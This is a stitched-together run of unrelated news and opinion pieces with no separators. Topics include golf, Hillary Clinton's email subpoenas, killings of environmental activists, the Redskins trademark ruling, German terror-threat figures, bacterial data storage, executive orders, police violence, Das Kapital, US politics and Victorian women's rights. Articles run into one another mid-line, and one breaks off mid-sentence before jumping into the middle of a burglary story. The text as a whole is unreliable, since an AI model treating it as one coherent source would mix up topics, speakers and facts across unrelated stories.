It was very hard growing up in that environment. My family was very notorious in the town that we lived in. Everyone would say, "There goes those damn Sams." I didn’t want to paint that ill picture of me. I knew the good in my family. They didn’t know our background and the adversity we had to endure. I wanted to succeed and be a beacon of hope in my family.
The younger Sam clearly understood the ramifications of his decision and expected his family's uneasiness with the announcement. His willingness to come forward nonetheless further exemplifies the strength and incredible courage he holds as a person.It wasn’t quite rolling back the years.
But it was Sandy Lyle’s best start to an Open in over a decade.
And the veteran Scot posted his one under par round with a putter that would have been more de rigueur at his first championship 40 years ago than the current tournament.
Lyle will almost certainly be the only hickory-wielding golfer in the field, albeit a modern hickory, if there is such a thing.
The short club, and a quick lesson from renowned putting guru Dave Stockton on how best to use it, have got the 57-year-old thinking this could be a good week.
“It was my best first round in a while,” Lyle admitted. “A bit like old times.
“The putter’s s only about a month old but it looks like it’s from the 1920s.
“I was using a similar one in Augusta. It’s got more loft on it. Modern putters aren’t easy to get loft on.
“I play quite a bit of hickory golf. I’m playing with them all the time, so I thought ‘why not’?
“I’ll not be doing it with the rest of the clubs though!”
He added: “My method of putting has changed after working a bit with Stockton. It’s given me a boost.
“I saw him at the Masters. I wanted to pick his brains about the two putters I had.
“I showed him a modern whatever. It was a 500 dollar job that weighed about three pounds, and then there was the hickory. You couldn’t get a bigger contrast but he said he liked the look of me with the hickory.
“I’ve been in the game a long time and you think you know everything about putting. He’s such a busy guy so it was good to get a few minutes. It opened my eyes. I’m still learning!
“I haven’t three putted today and I made a few as well. I was about 30 or 31 putts, which isn’t bad on these big greens. If you’re playing well but not putting well, it’s a drag.”
The afternoon starters are expected to have the worst of the conditions today, so Lyle still has a fight on his hands to make a rare Open cut.
“I think it was a case of having to get a good first round,” he reflected.
“There’s a lot of uncertainty about what we’ll have to put up with tomorrow.
“The course has been up for grabs today and you really needed to be under par.”Hillary Clinton faced multiple subpoenas for her private emails as far back as 2013, despite her recent claim that she "never had" a subpoena for her server.
Rep. Trey Gowdy, chairman of the House Select Committee on Benghazi, noted Congress issued two subpoenas to the State Department in August 2013 that included a request for Clinton's emails in addition to the more recent order from his own committee.
"It is a fact that there was a subpoena issued to her in March of 2015," the South Carolina Republican said during an interview Wednesday evening on the "Hugh Hewitt Show."
"It's also a fact that there was a subpoena in existence from another Congressional committee far before that one. So there are two subpoenas. There are letters from Congress. And there's a statutory obligation to her to preserve public records," Gowdy said.
The early subpoenas, which Gowdy said produced the first of Clinton's emails, were sent to the State Department by the House Oversight and Government Reform Committee "well before" the select committee was created to investigate the Benghazi terror attack.
"There is no way to claim that there was not some legal process directing that those emails be retained and ultimately produced, because they were," Gowdy added. "Where that becomes important is it was as a result of that oversight subpoena that the Department of State first gave us any of her emails. So clearly, her emails were covered by that subpoena, or the Department of State never would have given them to us."
Clinton has denied she was under any legal obligation to preserve the official emails she hosted on a private server in her home. The former secretary of state screened her records to decide which she would hand over to the State Department and deleted those she deemed unfit for release.
"She didn't delete and wipe clean that server until the fall of 2014, 20 months later, after she left" the State Department, Gowdy noted. "At a minimum, that timing is curious."What now happens twice a week to “ordinary people” around the world trying to protect the environment and rights to land? They get killed.
That’s the conclusion of a report released last week by UK-based NGO Global Witness, which states that at least 908 people in 35 countries have been killed since 2002 and the “problem is particularly prevalent in Central and South America.”
According to the report, titled Deadly Environment, the country with the highest number of "Dead Friends of the Earth", as it calls them, is Brazil – a massive 448 – followed by Honduras in second place, the Philippines third, Peru fourth, Colombia fifth and Mexico sixth. It states that rates have increased sharply since 2002, and calls 2012 “the bloodiest year yet.”
The underlying reason for the killings is the “competition for resources [that] is intensifying in a global economy built around soaring consumption and growth”, Deadly Environment argues, noting that “many of those facing threats are ordinary people opposing land grabs, mining operations and the industrial timber trade, often forced from their homes and severely threatened by environmental devastation” – with indigenous communities “particularly hard hit.”
In Brazil, the main reasons are illegal logging followed by cattle ranching and industrial agriculture.
“Driven by the powerful agricultural interests at the heart of Brazil’s export-focused economy, farms push ever deeper into the forest and spawn many conflicts,” the report states.
The majority of the perpetrators remain unknown, according to Global Witness, which describes the situation worldwide as an “endemic culture of impunity” and states that only 10 perpetrators of documented killings from 2002 are known to have been convicted and punished. A rare example is the case of nut-collectors-turned-activists José Cláudio Ribeiro da Silva – or Zé Cláudio, as he was known by many – and his wife Maria do Espírito Santo who were ambushed and shot in Brazil’s Pará state on 24 May 2011: two men have been convicted. Part of the reason for their convictions, the report states, is that this particular case became “high-profile” and “political pressure” was applied.
Three years later, Maria’s sister, Laisa, is continuing to try to protect her land and last year was awarded a Human Rights Defender prize, but she receives death threats for her efforts and has been placed under a federal government protection scheme. Meanwhile, Zé Cláudio’s sister, Claudelice, is preparing to mark the three year anniversary of her brother’s and sister-in-law’s murders. In a letter read aloud at a conference in Washington this month honouring Brazilian rubber-tapper and environmental martyr Chico Mendes, assassinated in 1988, and then again at the Nobel Museum in Sweden to mark the screening of an extremely moving film about Zé Cláudio and Maria, called Toxic: Amazon, members of both families said:
Our forests worldwide are increasingly under threat. Those who defend them are being assassinated. We have already lost some great defenders like our eternal colleague Chico Mendes, [American-born nun] Dorothy Stang [assassinated in 2005], and Zé Cláudio and Maria.
The re-trial of a third man, cattle rancher Zé Rodriguez, who was found not guilty of all charges with regards to Zé Claudio and Maria’s murders, should be held in Belém in the next few months. According to Brazil’s Pastoral Land Commission, other upcoming trials in Belém include: 1) on April 29 Décio José Barroso Nunes, a cattle rancher accused of instigating the assassination of José Dutra da Costa, known as Dezinho, who was murdered in Pará in 2000 and whose widow, Maria Joel, has since received death threats and is also under government protection; and 2) on 8 May Marlon Pidde, a landowner accused of instigating the massacre of five workers on his farm, named Princesa, back in 1985.The U.S. Patent and Trademark Office canceled six federal trademark registrations for the Washington Redskins, ruling that the football team's name is "disparaging to Native Americans."
The Washington Post reports that the case was filed on behalf of five Native Americans.
"We decide, based on the evidence properly before us, that these registrations must be cancelled because they were disparaging to Native Americans at the respective times they were registered," the Trademark Trial and Appeal Board wrote in its opinion.
In its ruling, the board cites federal trademark law that "prohibits registration of marks that may disparage persons or bring them into contempt or disrepute."
However, the board noted that the "registrations will not appear in the USPTO's records as cancelled until after any judicial review is completed."
Native American tribe airs anti-Redskins ad during NBA finals
Suzan Shown Harjo, one of the plaintiffs who testified at last year's hearing, said she was "thrilled and delighted" with the decision. The Redskins did not immediately comment.
The board's ruling is similar to one it issued in 1999. That ruling was overturned in 2003 in large part on a technicality because the courts decided that the plaintiffs were too old.
The new case was launched in 2006 by a younger group of Native Americans. A hearing was held in March 2013.
Just like last time, the Redskins can retain their trademark protection during an appeal.
In a statement, the U.S. Patent and Trademark Office said that if the decision is not appealed or if it is affirmed by a federal court, the trademark owner "will lose the legal benefits conferred by federal registration."
The ruling announced Wednesday comes after a campaign to change the name has gained momentum over the past year.
Senator Maria Cantwell, D-Wash., who is among the lawmakers who has urged the NFL for a change in the team name, said Wednesday that she was "excited" by the board's ruling.
"Finally people are recognizing that this issue can no longer be a business case for the NFL to use this patent," Cantwell said. "This is not the end of this case, but this is a landmark decision by the patent office."
Redskins debate: Sen. Reid says it's time for team to change its name
On Monday, Senate Majority Leader Harry Reid said he won't attend a Redskins home game until the football team changes its name.
In a letter to the team's president, Reid called the Redskins name a racial slur that disparages the American people. The Nevada Democrat, who said he represents 27 tribes in his state, rejected Bruce Allen's invitation to a Redskins home game until the team does the right thing and changes its name.
In May, half of the Senate wrote letters to the NFL urging a change in the team's name. Redskins owner Daniel Snyder has vowed never to change the name.
Allen had written to Reid saying the football team's nickname is "respectful" toward Native Americans.
"Daniel Snyder may be the last person in the world to realize this, but it's just a matter of time until he is forced to do the right thing and change the name," Reid said Wednesday after the ruling.
Earlier this year, the U.S. Patent and Trademark Office rejected a request from a company to sell pork rinds using the word "Redskins" because it deemed the term to be "derogatory slang."The number of Islamist extremists suspected of being potentially willing to carry out terror attacks in Germany has now grown to 690, federal BKA police chief Holger Münch says, compared with a figure of 600 issued by the Interior Ministry in February.
Read more: Young Islamists in Germany have'very scant' knowledge of Koran
In an interview with the daily "Frankfurter Rundschau" published on Friday, Münch said that radical Islamists posed the greatest terrorist threat in Germany, while the potential danger from left- and right-wing extremists was considered minor in comparison.
"In the left-wing scene, the [German] states have currently estimated a number that can be |
police arrived at his home within minutes on the day fo the incident. And they even spent hours at the home collecting evidence, but two months later, the suspect is still on the loose
So, Welshofer posted the surveillance video on Facebook and Youtube.
"We very quickly got responses of someone saying, 'Well, I was recently broken into and this looks like the same person that did this to me,'" Welshofer said. "There was another gentleman who had packages stolen off his doorstep, and it looked like him, so there's been this chain of people who have had similar unfortunate experiences."
Sunnyvale police say the case is still under investigation.The achievement gap grew in 2016 under California Common Core. See it in your community.
By Phillip Reese - preese@sacbee.com
Test scores in California improved this year - but the test score gap between the haves and have-nots got wider, too.
About 440 large California schools aced 2016 Common Core tests, with more than three quarters of their students meeting new math standards.
But just 7 of those schools also had a higher proportion of students classified as "economically disadvantaged" than the statewide average. In other words, 98 percent of the state’s highest-performing schools on the new math test had a relatively low proportion of students in poverty.
The test score achievement gap between wealthy and poor students is much larger under California's new Common Core tests than the gap was under older tests.
About 23 percent of "economically-disadvantaged" students met new math standards, compared to 58 percent of students not classified as economically disadvantaged. The achievement gap grew from 32 percentage points to 35 percentage points from 2015 to 2016, as wealthier students improved their scores faster than economically disadvantaged students.
Education experts blame the achievement gap on resource disparities; differing levels of parent participation and expectations; a high migration rate between schools among poorer students; and unfamiliarity or lack of access to helpful technology.
This chart shows the relationship between poverty and scores on the state's new math tests.
Source: California Department of Education | Important note: Excludes schools with fewer than 150 students enrolled in grades 3-8; 10-11. Poverty figures reflect the proportion of students tested in those grades classified as socioeconomically-disadvantaged. Students in grades 3-8 and 11 took math and language arts tests. Students in grade 10 took science tests. The above chart reflects only math scores. (This note was expanded for clarity on 10/22/15).
Click here to see graphic if using the Bee's mobile app.The quest to squeeze more and more data into ever smaller spaces continues, but current materials and techniques have their limits. One day in the not too distant future we will reach the limits of current hard drive technology.
So where do we look for the next storage breakthrough? If you ask researchers at The Chinese University of Hong Kong they’d say we need to look for a living solution, more specifically bacteria. In fact, they’ve already achieved it, managing to store 90GB of data in 1 gram of cells.
The team has developed a massively parallel bacterial storage system that also achieves data encryption through DNA shuffling. An encoding system takes the original data, turns it into a quaternary number, and then encodes it as a DNA sequence. Encryption is achieved through DNA sequence shuffling. That process also involves compressing the data to allow for more storage within the same sequence.
As an example of what can be achieved, the team managed to get the 8,074 character Declaration of Independence stored in 18 cells of bacteria. The 90GB claim comes from the fact that 1 gram of cells consists of 10 million cells showing you the potential for huge storage capabilities in hardly any space or weight.
Testing is ongoing, but the team has already proven they can convert data and store it as DNA and then get the data back out without any loss of information. They also believe any data can be stored using this method including text, images, music, and video.
The next step is to start inserting bar codes into synthetic organisms as a way of distinguishing synthetic and natural organisms from each other.
A PDF of the presentation given on storing data in bacteria is available to download (PDF).
Read more at 2010.igem.org, via Slashdot
Matthew’s Opinion
Although the PDF presentation goes over the details of what is being done here, there’s little information on how reliable and long term a data store like this is. How quickly do the cells breakdown? What happens if there’s a mutation? In order for this to work as a storage solution such questions need to be answered and the cells controlled.
If living cells do become a viable storage method, then there are a number of clear advantages over current systems. The first is the potential for massive gains in storage in the equivalent space of today’s hard drives. If you can get 90GB in a gram, and this scales easily, we don’t need to worry about increasing storage in the future. It will become a matter of weight rather than how much data we can cram into the same space.
Other advantages include bacteria being more resilient to drops and bumps, as well as not being rigid meaning we could have storage devices of all different shapes and sizes.
This is an exciting development, but one that needs a lot more R&D time before anyone takes it seriously.The president is calling his new plan on gun control an executive action, not an executive order. Why? Photo by Shannon Stapleton/Reuters
At an emotional speech Tuesday at the White House, President Barack Obama unveiled a series of measures to cut gun violence. Chief among them, tighter rules and more enforcement on background checks of gun buyers.
But amid the news today, many critics ignored the nuance in his choice of words. The president referred to these measures as executive actions, not executive orders. Why? And what’s the difference, anyway?
“I’ve never heard of ‘executive action’ as a special legal category,” said Eric Posner, a professor at the University of Chicago Law School and expert on constitutional law. “I think it’s more like a layman’s term for anything the executive branch does.”
An executive order is a specific type of presidential action — an official, legally binding mandate passed down from the president to federal agencies under the executive branch. Executive orders are printed in the Federal Register, according to the U.S. National Archives, and they’re numbered consecutively for the sake of keeping them straight.
On the other hand, an executive action is just that: any action taken by a president. This term is more of a catch-all, experts say. Executive actions can include executive orders, but they can also encompass presidential memorandums, proclamations, or any number of other ways the president directs the operations of the executive branch.
An executive order is a specific type of presidential action — an official, legally binding mandate passed down from the president to federal agencies under the executive branch.
“The executive order is [one type of] action. It’s a document that orders the executive branch officials to do something,” said Saikrishna Prakash, a law professor at the University of Virginia who studies the separation of powers. “They’re basically instructions about how he wants them to interpret federal law.”
You won’t find the term “executive order” in the Constitution. During the Washington era, presidents generally issued executive orders as a way to keep the public in the loop, not to direct policy, Prakash said.
Instead, the so-called “power of the pen” comes from the “vesting clause” of the Constitution, according to Posner. It grants the president “executive power,” an extremely vague term that, historically, has come to mean all the complicated administrative actions associated with the day-to-day operations of the government.
As Republicans on Capitol Hill and the campaign trail decry President Obama for sidestepping Congress to create directives on gun control, immigration and other issues, constitutional experts say it’s all legal — as long as the president has authority in that policy area, and those policies are a reasonable interpretation of court precedent.
“There’s certainly nothing wrong with issuing an executive order. There’s nothing wrong with issuing lots of executive orders,” Posner said. “It just depends on what’s going on in the world and what the president needs to address.”
Of course, the debate over the reach of executive power is as old as the presidency itself.
Every president — with the exception of William Henry Harrison, who died of pneumonia 32 days into his term, in 1841 — has issued an executive order, according to an analysis from the National Archives and The American Presidency Project at the University of California, Santa Barbara.
Among the most prolific with the pen: Franklin D. Roosevelt, who wrote 3,721 executive orders; Woodrow Wilson, with 1,803; and Calvin Coolidge, with 1,203.
Meanwhile, presidents like John Adams, James Madison and James Monroe issued just one throughout their presidencies, while John Quincy Adams wrote three.
President Obama falls somewhere in the middle, with nearly 230 executive orders, according to the study. With one more calendar year remaining in his term, Obama is still behind recent two-termers like George W. Bush, who issued 291 executive orders, Bill Clinton; who issued 364; and Ronald Reagan, at 381.
But when it comes to executive orders, it’s not only quantity that matters, constitutionality is important as well says Posner. “Just counting up executive orders, itself, is not very useful,” he said.
After all, some executive orders can be trivial while others are far-reaching, Posner said. In President Obama’s case, the difference between an executive action and order on gun control remains murky and in practical terms may not even matter. But that won’t stop critics from trying to prove that he’s overstepped his powers.
“Unfortunately, that’s very hard to do,” Posner said. “Because there’s a lot of disagreement about what these statutes mean, what the Constitution requires, and what executive powers actually mean.”The night of July 19 in Cincinnati, Ohio, a University of Cincinnati police officer shot and killed an African-American man in his vehicle.
Officers responding to the scene asked the officer what occurred and he responded that he had been dragged by the vehicle and was forced to fire upon the occupant. The officer, Ray Tensing, killed 43-year-old Samuel Dubose, and the incident would have been forgotten and probably filed as a legal killing if not for the body camera that the officer had been wearing at the time of the shooting.
Upon reviewing the footage, it appears that Tensing was not dragged by Dubose’s car but appeared to panic and resort to deadly force. An investigation was quickly mounted and Tensing was fired from the force and is now facing a murder trial. The event itself sparked further investigation by the governor about how police were trained and hired statewide.
This incident is not an isolated occasion. Across the country riots, protests, and killings are making headlines as attention is drawn to an apparent increase in police violence and brutality. With this increase, students, a group historically known for their political activism, have come together to protest these killings and the increase in police brutality over the past decade. These clashes have been covered by the media and more and more exposed on social media.
Students, professors, and affiliates of colleges and universities across the country have experienced this violence firsthand. Just this year, Virginia Tech honor student Martese Johnson was thrown to the ground and severely injured on St. Patrick’s Day when an officer used unnecessary force to subdue the student and arrest him.
This past January, police in Columbus, Ohio, responded to jubilant rejoicing as students and fans celebrated Ohio State’s National Championship win with all odds against them. The police used tear gas, pepper spray, and other non-lethal violent methods to disperse the crowd, but complaints were raised as to the necessity of the actions and the failure of the police to call for the crowd to disperse.
Video footage of the incident and eyewitness accounts tell a story of revelers on the sidewalk being forced away from the campus district by heavily armed and armored police with little or no clear warning.
Many have begun asking whether this is an actual increase in brutality or whether this is simply a phenomenon of social media. With so many big names like Ferguson and Baltimore bouncing around in the news nowadays, it would seem that every week there’s another fatal police shooting. This has been declared by some to be because of an increased wave of police violence and perhaps conspiracies of government control or declaration of martial law. Reputable news sources have been declaring that killings by the police are at a two decade high. So is any of this true?
Yes and no. The problem with making sweeping claims like these is that they do not examine the problem in detail. According to data from the FBI, the number of deaths at the hands of police (termed justifiable homicide) is up and by a margin of 12 percent; that amounts to 44 more deaths per year nationwide by police since 1997. However, suggestions have been raised that the data brought forward by the FBI is strictly legalistic or even biased in favor of the police.
Some watchdog groups are claiming that last year well over 1,000 people were killed by police. In 2013 alone, according to killedbythepolice.net, which activated in May of 2013, there were 748 people killed by the police in approximately eight months. Not only does the site report these incidents through users, but it is curated and links to media news sources are provided for anyone to look at.
So the data is off and there is much more coverage of brutality with the advent of social media and smart phones. What’s the big deal? The big deal is the crushing power of fear that police wield intentionally or otherwise. These men and women unconsciously can crush resistance to overstepping their bounds by simply existing.
The police’s presence is often enough to silence the most tenacious of protestors. As the slam poet Buddy Wakefield put it, “I’ve always resented the fact that when a cop drives by I feel paranoid instead of protected.”
In some sense, we do live in a police state. The only problem is neither the people nor the police want that.
For students, I encourage you to continue fighting against these problems. Your involvement means the world since your age group is largely politically sedentary. By acting out, students draw attention to issues. Just think back to the Vietnam War protests — many of the marchers were young college students who wanted to see a change in the world and they made it happen. When dealing with the police, be kind, be lawful, but be firm. You do have rights. Know them and exercise them.On September 14, 1867 German philosopher, political economist, historian, political theorist, sociologist, communist, and revolutionary Karl Marx published Das Kapital. Kritik der politischen Oekonomie.... Erster Band. Buch I: Der Produktionsporcess des Kapitals.... in Hamburg, Germany at the press of Otto Meissner. Characterized by Marx as a continuation of his Zur Kritik der politischen Oekonomie (1859), Das Kapital
"was in fact the summation of his quarter of a century's economic studies, mostly in the Reading Room of the British Museum. The Athenaeum reviewer of the first English translation (1887) later wrote: 'Under the guise of a critcal analysis of capital, Karl Marx's work is principally a polemic against capitalists and the capitalist mode of production, and it is this polemical tone which is its chief charm.' The Historical-polemical passages, with their formidable documentation from British official sources, have remained memorable; and, as Marx (a chronic furunculosis victim) wrote to Engels while the volume was still in the press, 'I hope the bourgeoisie will remember my carbuncles all the rest of their lives...."
"By an odd quirk of history the first foreign translation of Das Kapital to appear was the Russian, which Petersburgers found in their bookshops early in April 1872. Giving his imprimatur, the censor, one Skuratov, had written 'few people in Russia will read it, and still fewer will understand it.' He was wrong: the edition sold out quickly; and in 1880 Marx was writing to his friend F. A. Sorge that 'our success is still greater in Russia, where Kapital is read and appreciated more than anywhere else."
"Only this first volume of Marx's magnum opus appeared in his lifetime, though in a letter to friend Dr. Kugelmann in the autumn of 1866, when he was working over the manuscript, he described a four-book three-volume work on lines identical with those edited after his death by Friedrich Engels. Thus vol. 1 is the 'Critical Analysis of Capitalist Production' including the central concept of surplus-value: vol. II (1885) discusses the process of circulation of capital; vol. III (1894) the process of capitalist production as a whole. Marx's fourth section, on the history of economic theory, exists only in the form of a book, edited from his voluminous notes by Karl Kautsky, entitled Theorien über den Mehrwert ('Theories of Surplus Value) 3 vols., 1903-10)" (Carter & Muir, Printing and the Mind of Man [1967] no. 359.)At the end of an interview with RockMusicStar focusing primarily on his involvement in the "Hired Gun" documentary film, FIVE FINGER DEATH PUNCH guitarist Jason Hook offered the following update on the band's current and upcoming activities: "We're at the end of a bit of a break right now, and in mid-April we are heading to Australia to tour with BLACK SABBATH. [We are playing] lots of festivals, headlining rock festivals throughout the summer. And there will be a big co-headlining tour for the fall, which has not been announced yet, so I won't say with who, but it will be the biggest one we've ever done. So I'm excited."
FIVE FINGER DEATH PUNCH will team up with SHINEDOWN for a series of co-headlining shows this May, in conjunction with all of their performances at the biggest U.S. festivals of the year.
FIVE FINGER DEATH PUNCH's latest album, "Got Your Six", entered the Billboard 200 album chart at No. 2, selling 119,000 copies in its first week of release. This was the band's third straight No. 2 debut, following both volumes of "The Wrong Side Of Heaven And The Righteous Side Of Hell" in 2013. "Got Your Six", however, did rack up the band's best single sales week ever, surpassing the 112,000 copies sold of "The Wrong Side Of Heaven And The Righteous Side Of Hell, Volume 1", in its first week.
Each of FIVE FINGER's previous albums has been certified gold in the U.S. for sales of 500,000 copies or more.
FIVE FINGER DEATH PUNCH guitarist Zoltan Bathory told RockSverige.se about "Got Your Six": "We always do pretty diverse records, and we believe that if you have just one color throughout the whole record, it's not really that interesting. So we usually have a ballad and then super-heavy songs and everything in between, so that's usually how we operate. And [on this record], everything got a little bit more focused, so nothing is really that light, and nothing is really that heavy. So it's everything… Yet it's still diverse enough. So I think we kind of found a tone we wanted where it's just one solid record of heavy metal and hard rock and doesn't really venture into weird places, so to speak. Songwriting is… We always develop, it's always… Things are getting better… and lyrics as well. Most bands usually run out of juice by record five or six, and it's pretty amazing that we actually… I think this is our best record."Secretary of Homeland Security John Kelly speaks about immigration enforcement legislation during a press conference on Capitol Hill in Washington on June 29. AFP/Getty Images
In the latest Friday afternoon Twitter dump, President Trump announced he is replacing White House chief of staff and Anthony Scaramucci playground abuse recipient Reince Priebus with retired general and current Secretary of Homeland Security John Kelly. It hasn’t yet been reported who will be nominated for Kelly’s job.
There was some indication this was coming, though it got a bit lost in the tumult of the last few days. The New York Times reported on Thursday:
Mr. Trump has openly told people that he has lost faith in Mr. Priebus. He has said he wants “a general” as chief of staff, and has focused on John F. Kelly, the retired four-star Marine now serving as homeland security secretary. Many of his advisers, however, consider that a bad idea.
Trump has a thing for generals. He routinely refers to them as “my generals” and brags about them looking like they’re from “central casting.” Kelly was the third general the president named to a senior position after Secretary of Defense James Mattis—who had served so recently that he required a special waiver from Congress in order to take the job—and National Security Adviser Michael Flynn, who Trump reportedly asked to wear his uniform to work despite the fact Flynn had retired from the service. (The retired Kelly also does not wear his uniform to the workplace.) When Flynn was forced to resign over contacts with Russia, Trump replaced him with another general, H.R. McMaster, who has the advantage of still being in the military, meaning he can wear his uniform around the office.
Military affairs is the one realm in which Trump is occasionally willing to admit some level of ignorance. He has openly said the generals should go about their business without consulting him, since they know more than he does. (Perhaps this is atonement for his claim on the campaign trail to “know more about ISIS than the generals do.”)
Given the president’s love of men in uniform, it wouldn’t be at all surprising to see another general take over the Homeland Security post that Kelly has now vacated, or even take the top spot at the State Department considering how things are looking with Rex Tillerson.
Despite Trump’s professions of love and admiration for his generals and his claim that he’s giving the military “total authorization,” the president doesn’t always seem to care about what they have to say. He ignored Mattis’ plan for fighting ISIS for months. He’s widely known to be frustrated with McMaster, particularly the national security adviser’s desire to commit more troops to Afghanistan. And despite his claim that he’d decided to ban transgender people from the military after consultation with “my generals,” the Pentagon had no idea the announcement was coming. Mattis was apparently only informed the day before and was on vacation. Joint Chiefs Chairman Gen. Joseph Dunford says he’s not going to implement the ban until he receives an official order.
Before Kelly moves into his new role, then, particularly given that his new brief will involve more than just national security issues, he should keep in mind that Trump is often less interested in heeding his generals’ wisdom than he is in using them as props.MONTEVIDEO (Reuters) - Uruguay’s Congress legalized civil unions for homosexual couples on Tuesday in the first nationwide law of its kind in Latin America.
Under the new law, gay and straight couples will be eligible to form civil unions after living together for five years. They will have rights similar to those granted to married couples on such matters as inheritance, pensions and child custody.
Uruguay’s Senate passed the bill unanimously after the lower house approved it last month, a congressional spokesman said. The country’s center-left president is expected to sign it into law.
Several cities, including Buenos Aires and Mexico City, already have gay civil union laws on the books. Uruguay’s law would be the first nationwide measure in Latin America, which is home to about half the world’s Roman Catholics.
In Uruguay, couples must register their relationship with authorities to gain the cohabitation rights, and they will also be able to formalize the end of a union.
Gay marriage remains illegal in Uruguay, a small South American country known for its secular streak.
The Catholic Church has said its opposition to gay marriage is non-negotiable and Catholic politicians have a moral duty to oppose it.
Earlier this year in Colombia, a group of senators shot down a landmark gay rights bill at the last minute, using a procedural vote to back away from the measure.WASHINGTON/NEW YORK (Reuters) - Democrats are showing little interest in cooperating with the Republicans who control Congress on legislation to dismantle the Obamacare health insurance law but some are signaling a willingness to collaborate on action to curb rising drug prices.
Cathey Park of Cambridge, Massachusetts wears a cast for her broken wrist with "I Love Obamacare" written upon it prior to U.S. President Barack Obama's arrival to speak about health insurance at Faneuil Hall in Boston October 30, 2013. REUTERS/Kevin Lamarque
Republican U.S. President-elect Donald Trump pledged two weeks ago to bring down drug prices, addressing an issue that could appeal to voters in both parties. He did not say how he would accomplish this although he previously suggested he was open to allowing importation of cheaper medicines from overseas.
Nineteen Senate Democrats this week urged Trump to push the issue with Republican lawmakers, many of whom have resisted government action to rein in medication costs.
Persistently rising drug prices have imposed a heavy burden on consumers. Many Americans cannot afford their medicines or face increasing co-pays on prescription drugs.
The 2010 Affordable Care Act, dubbed Obamacare, enabled about 20 million Americans who previously had no medical insurance to get coverage. It is considered outgoing Democratic President Barack Obama’s signature legislative achievement and an important accomplishment for his party.
Republicans, who will control both the White House and in 2017, condemn it as a government overreach. Trump and congressional Republicans have vowed to repeal and replace it. Senate Majority Leader Mitch McConnell has said senators will start the repeal process shortly after Jan. 1. Trump takes office on Jan. 20.
A House of Representatives leadership aide told reporters drug pricing was one of several areas Republicans would use to reach out to Democrats to solicit their involvement in Obamacare replacement legislation, along with the Medicaid insurance program for the poor, and children’s healthcare.
“We are going to try and find where the other side wants to engage,” the aide said.
Democrats may be difficult to persuade. Democratic Senator Amy Klobuchar of Minnesota said drug-pricing proposals might have been part of a bipartisan healthcare reform package to address Obamacare issues, if Republicans were not insisting on repeal first, placing the two parties in opposite camps.
“My vision before the election was that we would have some form of reform package, and now that’s murky because of this effort to repeal,” Klobuchar said in a telephone interview.
PROCEDURAL HURDLES
Republican lawmakers have angered Democrats with their plan to use arcane congressional budget procedures to repeal Obamacare as quickly as possible, without having to secure any Democratic votes. This approach would thwart procedural hurdles Democrats could pursue under normal circumstances.
Republicans including Senator John Thune of South Dakota, a member of his party’s Senate leadership, have said they want Democrats to work with them to replace Obamacare once it is repealed. They will almost certainly need them.
In the 100-seat Senate, Republicans need a super-majority of 60 to clear procedural hurdles and pass replacement legislation. With 52 Republican senators, they would need to attract at least eight Democrats.
“If they genuinely wanted to work with us on fixing the Affordable Care Act, we would have that conversation before they repealed,” Democratic Senator Chris Coons of Delaware said of the Republicans.
Americans can obtain health insurance from private insurers through the Affordable Care Act by buying it on state or federally run exchanges.
In 2016, costs on the individual insurance market rose. Insurers including UnitedHealth Group Inc and Aetna Inc pulled out for 2017, saying they were losing too much money. More insurers may drop out for 2018, making insurance plans more expensive.
Lawmakers in both parties expressed outrage after Mylan NV raised the price of a pair of the generic drugmaker’s lifesaving EpiPen allergy treatments to more than $600 this year from $100 in 2008.
Klobuchar has worked with Iowa Republican Senator Charles Grassley on drug-pricing issues, introducing legislation that would help put an end to brand-name drug companies paying generic drugmakers to delay marketing low-cost competing medications.
She was among the Democrats who sent Trump the letter on drug costs. They suggested five areas of cooperation: allowing the Medicare insurance program for the elderly to negotiate prescription prices, increasing transparency, stopping abusive pricing, encouraging incentives for innovation, and supporting generic competition for branded drugs.
In addition, Republican Senator Susan Collins of Maine Democratic Senator Claire McCaskill of Missouri this week released a report detailing drug-pricing abuses at Valeant Pharmaceuticals International and Turing Pharmaceuticals.
Health policy expert Joe Antos of the American Enterprise Institute think tank said Democrats may refuse to work on Obamacare replacement legislation for some time, especially if Republicans delay the repeal’s effective date by up to three years.
“Democrats can just say, we don’t have to do it now,” Antos said.
Stuart Butler of the Brookings Institution think tank said it will get harder for Democrats to stay on the sidelines after a repeal because hospitals, insurers and Americans who may lose their coverage will press for action.
“I think they (Democrats) will get as much political capital out of not engaging as they can, and then I think their own constituents will start to push them,” Butler said.So effective were the suffragettes that we think of them as the founding mothers of women’s emancipation. Their cause was just and their achievement considerable: but Edwardian women, in pursuing equality, picked up the baton from an earlier generation – a generation that achieved what it did in the face of even greater odds, and partly with the help of men.
When in 1837 the United Kingdom of Britain and Ireland acquired its first queen regnant in 123 years, Victoria was the only woman in the realm with no legal impediment because of her sex. As queen, she enjoyed the same rights as her predecessor as monarch, her uncle William IV. For all other women existence was strictly controlled by men. Until married – unless heiresses of independent means – women were subject to their fathers. Most men from the middle and upper classes regarded the education of their daughters as an unnecessary expense. Most fathers from the working class wanted their daughters in a mill or a factory as swiftly as possible to make a contribution to the household’s income. In the 1830s there were few girls’ schools worthy of the name, as opposed to establishments that taught deportment, dancing, French and how to manage servants. Until the late 1840s there was nothing for women that resembled higher education.
Once a woman married she became the de facto property of her husband. Her goods became his. He could beat her and rape her without fearing the law, provided he did not kill her. Divorce required an act of parliament; and men who violated the rules of marriage were regarded as a tiresome inevitability while women who did so were regarded as harlots. Women could not vote, let alone stand for parliament. They were barred from the law and medicine. Some were considered such a danger to soldiers and sailors that the Contagious Diseases Act was passed to allow the forcible medical examination of any woman in certain dockyard and garrison towns who was thought to be a prostitute, to see whether she might be carrying venereal disease; and, if she was, the act allowed for her confinement on secure premises until such time as she was better.
At the start of Victoria’s reign, workingclass women still worked down coal mines, doing heavy work, often half naked, and frequently when pregnant or within days of having given birth. No wonder John Stuart Mill, one of the great feminists of the 19th century, described in his essay The Subjection of Women the condition of females in Britain in that era as akin to slavery.
To most of the men who ruled Britain in the 19th century what Mill called “slavery” was simply the natural order. And, because they saw it as such, they saw no imperative to change things, and saw equality as an absurdity. Not all were so blinkered. Lord Ashley – later the Earl of Shaftesbury – led the campaign to get women out of coal mines, to restrict their heavy manual labour, and to limit the hours they could work in factories. When the writer Caroline Norton, who wished to divorce her cruel husband in the 1830s, began a national campaign on the question, several MPs and peers tried to further her cause by seeking legal reforms that would allow a woman to be rid of a cruel, adulterous or neglectful husband.
